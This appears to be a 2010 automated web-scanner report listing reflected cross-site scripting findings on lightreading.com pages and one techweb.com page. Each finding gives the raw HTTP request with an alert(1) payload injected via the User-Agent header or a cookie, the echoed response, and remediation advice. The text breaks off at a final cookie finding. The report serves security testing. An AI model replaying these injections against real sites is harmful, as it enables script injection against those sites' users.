HTTP/1.1 200 OK Server: nginx/0.8.50 Date: Sun, 12 Dec 2010 03:34:33 GMT Content-Type: text/html Connection: close Vary: Accept-Encoding X-Powered-By: ASP.NET Content-Length: 263005 Cache-control: private
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <META name="keywords" content="light reading, lightreading, magazine, telecom, telecommunications, Internet, convergence ...[SNIP]... ; s.channel=""; s.pageType=""; s.prop1=""; s.prop2=""; s.prop3=""; s.prop4=""; s.prop5=""; s.prop6=""; s.prop7=""; s.prop8="174.121.222.18 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)a5ca9"-alert(1)-"fbb394b7112"; s.prop9=""; s.prop10=""; s.prop11=""; s.prop12=""; s.prop13=""; s.prop14=""; s.prop15=""; s.prop16=""; s.prop19="False"; s.prop20="";
The value of the User-Agent HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 32da6"-alert(1)-"059e87707bb was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /lg_redirect.asp HTTP/1.1 Host: www.lightreading.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)32da6"-alert(1)-"059e87707bb Connection: close Cookie: lightreading%5Fvisits=2; s_cc=true; _bizo_cksm_crc32=3AF13A5B; s_sq=%5B%5BB%5D%5D; s_nr=1291273863933; lightreading%5Flastvisit=12%2F11%2F2010+7%3A00%3A05+PM; seen=true;
Response (redirected)
HTTP/1.1 200 OK Server: nginx/0.8.50 Date: Sun, 12 Dec 2010 03:35:53 GMT Content-Type: text/html Connection: close Vary: Accept-Encoding X-Powered-By: ASP.NET Content-Length: 265674 Cache-control: private
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <META name="keywords" content="light reading, lightreading, magazine, telecom, telecommunications, Internet, convergence ...[SNIP]... ; s.channel=""; s.pageType=""; s.prop1=""; s.prop2=""; s.prop3=""; s.prop4=""; s.prop5=""; s.prop6=""; s.prop7=""; s.prop8="174.121.222.18 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)32da6"-alert(1)-"059e87707bb"; s.prop9=""; s.prop10=""; s.prop11=""; s.prop12=""; s.prop13=""; s.prop14=""; s.prop15=""; s.prop16=""; s.prop19="False"; s.prop20="";
The value of the User-Agent HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bd0c0"-alert(1)-"82a792f16f6 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /live/event_information.asp HTTP/1.1 Host: www.lightreading.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)bd0c0"-alert(1)-"82a792f16f6 Connection: close Cookie: lightreading%5Fvisits=2; s_cc=true; _bizo_cksm_crc32=3AF13A5B; s_sq=%5B%5BB%5D%5D; s_nr=1291273863933; lightreading%5Flastvisit=12%2F11%2F2010+7%3A00%3A05+PM; seen=true;
Response (redirected)
HTTP/1.1 200 OK Server: nginx/0.8.50 Date: Sun, 12 Dec 2010 03:34:05 GMT Content-Type: text/html Connection: close Vary: Accept-Encoding X-Powered-By: ASP.NET Content-Length: 179152 Cache-control: private
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <META name="keywords" content="light reading, lightreading, magazine, telecom, telecommunications, Internet, convergence ...[SNIP]... ; s.channel=""; s.pageType=""; s.prop1=""; s.prop2=""; s.prop3=""; s.prop4=""; s.prop5=""; s.prop6=""; s.prop7=""; s.prop8="174.121.222.18 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)bd0c0"-alert(1)-"82a792f16f6"; s.prop9=""; s.prop10=""; s.prop11=""; s.prop12=""; s.prop13=""; s.prop14=""; s.prop15=""; s.prop16=""; s.prop19="False"; s.prop20="";
The value of the User-Agent HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6bce1"-alert(1)-"4de0853dca9 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /login.asp HTTP/1.1 Host: www.lightreading.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)6bce1"-alert(1)-"4de0853dca9 Connection: close Cookie: lightreading%5Fvisits=2; s_cc=true; _bizo_cksm_crc32=3AF13A5B; s_sq=%5B%5BB%5D%5D; s_nr=1291273863933; lightreading%5Flastvisit=12%2F11%2F2010+7%3A00%3A05+PM; seen=true;
Response (redirected)
HTTP/1.1 200 OK Server: nginx/0.8.50 Date: Sun, 12 Dec 2010 03:34:08 GMT Content-Type: text/html Connection: close Vary: Accept-Encoding X-Powered-By: ASP.NET Content-Length: 172963 Cache-control: private
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <META name="keywords" content="light reading, lightreading, magazine, telecom, telecommunications, Internet, convergence ...[SNIP]... ; s.channel=""; s.pageType=""; s.prop1=""; s.prop2=""; s.prop3=""; s.prop4=""; s.prop5=""; s.prop6=""; s.prop7=""; s.prop8="174.121.222.18 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)6bce1"-alert(1)-"4de0853dca9"; s.prop9=""; s.prop10=""; s.prop11=""; s.prop12=""; s.prop13=""; s.prop14=""; s.prop15=""; s.prop16=""; s.prop19="False"; s.prop20="";
The value of the User-Agent HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b66e1"-alert(1)-"e3512dd6779 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /message.asp HTTP/1.1 Host: www.lightreading.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)b66e1"-alert(1)-"e3512dd6779 Connection: close Cookie: lightreading%5Fvisits=2; s_cc=true; _bizo_cksm_crc32=3AF13A5B; s_sq=%5B%5BB%5D%5D; s_nr=1291273863933; lightreading%5Flastvisit=12%2F11%2F2010+7%3A00%3A05+PM; seen=true;
Response (redirected)
HTTP/1.1 200 OK Server: nginx/0.8.50 Date: Sun, 12 Dec 2010 03:35:32 GMT Content-Type: text/html Connection: close Vary: Accept-Encoding X-Powered-By: ASP.NET Content-Length: 266679 Cache-control: private
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <META name="keywords" content="light reading, lightreading, magazine, telecom, telecommunications, Internet, convergence ...[SNIP]... ; s.channel=""; s.pageType=""; s.prop1=""; s.prop2=""; s.prop3=""; s.prop4=""; s.prop5=""; s.prop6=""; s.prop7=""; s.prop8="174.121.222.18 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)b66e1"-alert(1)-"e3512dd6779"; s.prop9=""; s.prop10=""; s.prop11=""; s.prop12=""; s.prop13=""; s.prop14=""; s.prop15=""; s.prop16=""; s.prop19="False"; s.prop20="";
The value of the User-Agent HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 665fc"-alert(1)-"80c9bede42 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /messages.asp HTTP/1.1 Host: www.lightreading.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)665fc"-alert(1)-"80c9bede42 Connection: close Cookie: lightreading%5Fvisits=2; s_cc=true; _bizo_cksm_crc32=3AF13A5B; s_sq=%5B%5BB%5D%5D; s_nr=1291273863933; lightreading%5Flastvisit=12%2F11%2F2010+7%3A00%3A05+PM; seen=true;
Response (redirected)
HTTP/1.1 200 OK Server: nginx/0.8.50 Date: Sun, 12 Dec 2010 03:35:44 GMT Content-Type: text/html Connection: close Vary: Accept-Encoding X-Powered-By: ASP.NET Content-Length: 261914 Cache-control: private
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <META name="keywords" content="light reading, lightreading, magazine, telecom, telecommunications, Internet, convergence ...[SNIP]... ; s.channel=""; s.pageType=""; s.prop1=""; s.prop2=""; s.prop3=""; s.prop4=""; s.prop5=""; s.prop6=""; s.prop7=""; s.prop8="174.121.222.18 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)665fc"-alert(1)-"80c9bede42"; s.prop9=""; s.prop10=""; s.prop11=""; s.prop12=""; s.prop13=""; s.prop14=""; s.prop15=""; s.prop16=""; s.prop19="False"; s.prop20="";
The value of the User-Agent HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9b465"-alert(1)-"e6bbb9011e5 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /profile.asp HTTP/1.1 Host: www.lightreading.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)9b465"-alert(1)-"e6bbb9011e5 Connection: close Cookie: lightreading%5Fvisits=2; s_cc=true; _bizo_cksm_crc32=3AF13A5B; s_sq=%5B%5BB%5D%5D; s_nr=1291273863933; lightreading%5Flastvisit=12%2F11%2F2010+7%3A00%3A05+PM; seen=true;
Response (redirected)
HTTP/1.1 200 OK Server: nginx/0.8.50 Date: Sun, 12 Dec 2010 03:34:22 GMT Content-Type: text/html Connection: close Vary: Accept-Encoding X-Powered-By: ASP.NET Content-Length: 174330 Cache-control: private
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <META name="keywords" content="light reading, lightreading, magazine, telecom, telecommunications, Internet, convergence ...[SNIP]... ; s.channel=""; s.pageType=""; s.prop1=""; s.prop2=""; s.prop3=""; s.prop4=""; s.prop5=""; s.prop6=""; s.prop7=""; s.prop8="174.121.222.18 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)9b465"-alert(1)-"e6bbb9011e5"; s.prop9=""; s.prop10=""; s.prop11=""; s.prop12=""; s.prop13=""; s.prop14=""; s.prop15=""; s.prop16=""; s.prop19="False"; s.prop20="";
The value of the User-Agent HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c8e2f"-alert(1)-"a03bebe7bbb was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /quote.asp HTTP/1.1 Host: www.lightreading.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)c8e2f"-alert(1)-"a03bebe7bbb Connection: close Cookie: lightreading%5Fvisits=2; s_cc=true; _bizo_cksm_crc32=3AF13A5B; s_sq=%5B%5BB%5D%5D; s_nr=1291273863933; lightreading%5Flastvisit=12%2F11%2F2010+7%3A00%3A05+PM; seen=true;
Response
HTTP/1.1 200 OK Server: nginx/0.8.50 Date: Sun, 12 Dec 2010 03:36:22 GMT Content-Type: text/html Connection: close Vary: Accept-Encoding X-Powered-By: ASP.NET Content-Length: 227721 Cache-control: private
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <META name="keywords" content="light reading, lightreading, magazine, telecom, telecommunications, Internet, convergence ...[SNIP]... ; s.channel=""; s.pageType=""; s.prop1=""; s.prop2=""; s.prop3=""; s.prop4=""; s.prop5=""; s.prop6=""; s.prop7=""; s.prop8="174.121.222.18 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)c8e2f"-alert(1)-"a03bebe7bbb"; s.prop9=""; s.prop10=""; s.prop11=""; s.prop12=""; s.prop13=""; s.prop14=""; s.prop15=""; s.prop16=""; s.prop19="False"; s.prop20="";
The value of the User-Agent HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fd777"-alert(1)-"1b668dadbe4 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /register.asp HTTP/1.1 Host: www.lightreading.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)fd777"-alert(1)-"1b668dadbe4 Connection: close Cookie: lightreading%5Fvisits=2; s_cc=true; _bizo_cksm_crc32=3AF13A5B; s_sq=%5B%5BB%5D%5D; s_nr=1291273863933; lightreading%5Flastvisit=12%2F11%2F2010+7%3A00%3A05+PM; seen=true;
Response
HTTP/1.1 200 OK Server: nginx/0.8.50 Date: Sun, 12 Dec 2010 03:33:04 GMT Content-Type: text/html Connection: close Vary: Accept-Encoding X-Powered-By: ASP.NET Content-Length: 168822 Cache-control: private
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <META name="keywords" content="light reading, lightreading, magazine, telecom, telecommunications, Internet, convergence ...[SNIP]... ; s.channel=""; s.pageType=""; s.prop1=""; s.prop2=""; s.prop3=""; s.prop4=""; s.prop5=""; s.prop6=""; s.prop7=""; s.prop8="174.121.222.18 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)fd777"-alert(1)-"1b668dadbe4"; s.prop9=""; s.prop10=""; s.prop11=""; s.prop12=""; s.prop13=""; s.prop14=""; s.prop15=""; s.prop16=""; s.prop19="False"; s.prop20="";
The value of the User-Agent HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 21b51"-alert(1)-"0c4cf629abb was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /topics.asp HTTP/1.1 Host: www.lightreading.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)21b51"-alert(1)-"0c4cf629abb Connection: close Cookie: lightreading%5Fvisits=2; s_cc=true; _bizo_cksm_crc32=3AF13A5B; s_sq=%5B%5BB%5D%5D; s_nr=1291273863933; lightreading%5Flastvisit=12%2F11%2F2010+7%3A00%3A05+PM; seen=true;
Response (redirected)
HTTP/1.1 200 OK Server: nginx/0.8.50 Date: Sun, 12 Dec 2010 03:34:05 GMT Content-Type: text/html Connection: close Vary: Accept-Encoding X-Powered-By: ASP.NET Last-modified: Sun, 12 Dec 2010 02:34:04 GMT Expires: Sun, 10 Apr 2011 22:34:04 GMT Etag: s200805.p200805 Content-Length: 177166 Cache-control: max-age=10368000, public
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <META name="keywords" content="light reading, lightreading, magazine, telecom, telecommunications, Internet, convergence ...[SNIP]... ; s.channel=""; s.pageType=""; s.prop1=""; s.prop2=""; s.prop3=""; s.prop4=""; s.prop5=""; s.prop6=""; s.prop7=""; s.prop8="174.121.222.18 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)21b51"-alert(1)-"0c4cf629abb"; s.prop9=""; s.prop10=""; s.prop11=""; s.prop12=""; s.prop13=""; s.prop14=""; s.prop15=""; s.prop16=""; s.prop19="False"; s.prop20="";
The value of the User-Agent HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2d095"-alert(1)-"3c252500af6 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /webinar.asp HTTP/1.1 Host: www.lightreading.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)2d095"-alert(1)-"3c252500af6 Connection: close Cookie: lightreading%5Fvisits=2; s_cc=true; _bizo_cksm_crc32=3AF13A5B; s_sq=%5B%5BB%5D%5D; s_nr=1291273863933; lightreading%5Flastvisit=12%2F11%2F2010+7%3A00%3A05+PM; seen=true;
Response (redirected)
HTTP/1.1 200 OK Server: nginx/0.8.50 Date: Sun, 12 Dec 2010 03:36:03 GMT Content-Type: text/html Connection: close Vary: Accept-Encoding X-Powered-By: ASP.NET Content-Length: 259308 Cache-control: private
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <META name="keywords" content="light reading, lightreading, magazine, telecom, telecommunications, Internet, convergence ...[SNIP]... ; s.channel=""; s.pageType=""; s.prop1=""; s.prop2=""; s.prop3=""; s.prop4=""; s.prop5=""; s.prop6=""; s.prop7=""; s.prop8="174.121.222.18 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)2d095"-alert(1)-"3c252500af6"; s.prop9=""; s.prop10=""; s.prop11=""; s.prop12=""; s.prop13=""; s.prop14=""; s.prop15=""; s.prop16=""; s.prop19="False"; s.prop20="";
The value of the User-Agent HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 88ab2"-alert(1)-"4e0ef983f8c was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /webinar_archives.asp HTTP/1.1 Host: www.lightreading.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)88ab2"-alert(1)-"4e0ef983f8c Connection: close Cookie: lightreading%5Fvisits=2; s_cc=true; _bizo_cksm_crc32=3AF13A5B; s_sq=%5B%5BB%5D%5D; s_nr=1291273863933; lightreading%5Flastvisit=12%2F11%2F2010+7%3A00%3A05+PM; seen=true;
Response
HTTP/1.1 200 OK Server: nginx/0.8.50 Date: Sun, 12 Dec 2010 03:37:56 GMT Content-Type: text/html Connection: close Vary: Accept-Encoding X-Powered-By: ASP.NET Content-Length: 322048 Cache-control: private
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <META name="keywords" content="light reading, lightreading, magazine, telecom, telecommunications, Internet, convergence ...[SNIP]... ; s.channel=""; s.pageType=""; s.prop1=""; s.prop2=""; s.prop3=""; s.prop4=""; s.prop5=""; s.prop6=""; s.prop7=""; s.prop8="174.121.222.18 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)88ab2"-alert(1)-"4e0ef983f8c"; s.prop9=""; s.prop10=""; s.prop11=""; s.prop12=""; s.prop13=""; s.prop14=""; s.prop15=""; s.prop16=""; s.prop19="False"; s.prop20="";
The value of the User-Agent HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 73c31"-alert(1)-"daa06bb2744 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /webinars.asp HTTP/1.1 Host: www.lightreading.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)73c31"-alert(1)-"daa06bb2744 Connection: close Cookie: lightreading%5Fvisits=2; s_cc=true; _bizo_cksm_crc32=3AF13A5B; s_sq=%5B%5BB%5D%5D; s_nr=1291273863933; lightreading%5Flastvisit=12%2F11%2F2010+7%3A00%3A05+PM; seen=true;
Response
HTTP/1.1 200 OK Server: nginx/0.8.50 Date: Sun, 12 Dec 2010 03:34:34 GMT Content-Type: text/html Connection: close Vary: Accept-Encoding X-Powered-By: ASP.NET Content-Length: 184266 Cache-control: private
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <META name="keywords" content="light reading, lightreading, magazine, telecom, telecommunications, Internet, convergence ...[SNIP]... ; s.channel=""; s.pageType=""; s.prop1=""; s.prop2=""; s.prop3=""; s.prop4=""; s.prop5=""; s.prop6=""; s.prop7=""; s.prop8="174.121.222.18 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)73c31"-alert(1)-"daa06bb2744"; s.prop9=""; s.prop10=""; s.prop11=""; s.prop12=""; s.prop13=""; s.prop14=""; s.prop15=""; s.prop16=""; s.prop19="False"; s.prop20="";
The value of the User-Agent HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 278df"-alert(1)-"66cbafd97fe was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /util/download.jhtml HTTP/1.1 Host: www.ondemanditgovernance.techweb.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)278df"-alert(1)-"66cbafd97fe Connection: close
Response (redirected)
HTTP/1.1 200 OK Date: Sun, 12 Dec 2010 03:35:19 GMT Server: Apache Cache-Control: no-cache, max-age=0 Expires: Sun, 12 Dec 2010 03:35:19 GMT Last-Modified: Tue, Jan 27 2099 23:59:59 GMT Pragma: no-cache X-ATG-Version: ATGPlatform/7.2 [ DASLicense/0 DPSLicense/0 ] Set-Cookie: JSESSIONID=DMJCWKFBPXS05QE1GHPCKHWATMY32JVN; path=/ Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Connection: close Content-Type: text/html Vary: Accept-Encoding, User-Agent Content-Length: 7195
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head> < ...[SNIP]...
var s_prop1=""; var s_prop2=""; var s_prop3=""; var s_prop4=""; var s_prop5=""; var s_prop6=""; var s_prop7=""; var s_prop8="174.121.222.18 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)278df"-alert(1)-"66cbafd97fe"; var s_prop9=""; var s_prop10=""; var s_prop11=""; var s_prop12=""; var s_prop14=""; var s_prop15=""; var s_prop16=""; var s_prop19="False";
/* E-commerce Variables */ var s_campaign=""; ...[SNIP]...
The value of the BMX_3PC cookie is copied into the HTML document as plain text between tags. The payload ec7e2<script>alert(1)</script>cfec602e3b5 was submitted in the BMX_3PC cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
